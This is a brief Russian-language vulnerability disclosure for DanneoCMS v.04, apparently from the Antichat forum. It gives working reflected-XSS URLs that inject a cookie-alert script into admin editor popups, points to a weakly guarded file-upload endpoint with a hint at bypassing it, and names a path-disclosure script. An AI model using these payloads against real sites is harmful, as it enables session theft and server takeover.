DanneoCMS v.04 _http://danneo.com 1. xxs - куки http://danneosite.com/apanel/editor/img_popup.php?img_url=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://danneosite.com/apanel/editor/file_popup.php?img_url=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 2. заливка файлов http://danneosite.com/apanel/editor/dialogs/img_library.php защита слабенькая: http://danneosite.com/apanel/editor/config/spaw_control.config.php --> PHP: // allowed extentions for uploaded image files $spaw_valid_imgs = array('gif', 'jpg', 'jpeg', 'png'); думайте сами =)) 3. раскрытие путей их много, самое простейшее: http://danneosite.com/apanel/editor/scripts/demo.php Antichat.ru © VectorG
